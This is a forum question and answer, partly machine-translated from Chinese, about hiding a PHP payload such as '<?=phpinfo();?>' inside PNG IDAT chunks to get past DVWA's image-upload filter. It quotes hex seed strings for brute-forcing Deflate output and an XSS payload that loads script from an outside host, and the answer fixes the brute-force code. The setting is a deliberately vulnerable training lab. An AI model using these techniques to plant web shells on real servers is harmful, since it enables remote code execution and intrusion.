PHP shell 在 PNG 的 IDAT 块上

PHP shell on PNG's IDAT Chunk

我正在研究关于文件上传高漏洞的DVWA。我想绕过过滤器,它只允许上传 jpg 或 png 等图像。所以我打算将 payload <?=phpinfo(); 嵌入到图像文件中。经过搜索,我发现了这些很棒的博客:

  1. An XSS on Facebook via PNGs & Wonky Content Types
  2. Encoding Web Shells in PNG IDAT chunks
  3. Revisiting XSS payloads in PNG IDAT chunks

我懒得研究 Deflate 算法和搜索 png shell 生成器并找到了这个很棒的存储库:

  1. PNG Payload Generator with PERL

克隆和 运行 之后,效果很好。但有效载荷是针对 XSS Vuln output here:

<SCRIPT SRC=//ABC.DE></SCRIPT>

我想完成 DVWA 的 objective。它说

Execute any PHP function of your choosing on the target system (such as phpinfo() or system()) thanks to this file upload vulnerability.

所以,我想要的有效负载是:<?=phpinfo();?> 嵌入到 PNG 的 IDAT 块中,此有效负载从 IDAT 上的过滤器和压缩中幸存下来。从存储库中,我找到了 f1n1te / idontplaydarts 博客之前描述的 bruteforce() 逻辑。我复制了源代码并尝试使用我的有效负载 here 来暴力破解压缩,但在符号字符上失败了。基于 source/generator,我有 2 个问题:

  1. 为什么在 the source 上,暴力破解符号“<”和“?”以及另一个 ascii 符号都失败了?但它适用于 ascii "a-z" & "A-Z".
  2. 在我发现的 3 个博客和 1 个存储库中,它们使用此有效载荷来暴力破解 Deflate:

    7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f - f1n1te f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f - 亚当 03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310 - idontplaydarts 0000f399281922111510691928276e6e5313241e1f576e69b16375535b6f0000 - 存储库

那些家伙如何获得所有这些有效载荷以暴力破解 Deflate Compression

暴力破解失败,因为它太短了。您需要 5 个半字节,而不仅仅是 4 个。我用箭头标记了额外的数字。

0000f399281922111510691928276e6e....1f576e69b16375535b6f0000 your template
0000f399281922111510691928276e6e51121f576e69b16375535b6f0000 "x4c`0<SCRIPT SRC=//PH></script>[=10=]w4)"
0000f399281922111510691928276e6e576f5f576e69b16375535b6f0000 "x4c`0<SCRIPT SRC=//<?></script>[=10=]w4)"
                                    ↑

该程序还包含一个错误,导致它无法完全用尽搜索 space。 sprintf 的格式说明符必须是zero-padded,否则十六进制数字串太短;换句话说在原始程序中它必须是 %04x,而不是 %x.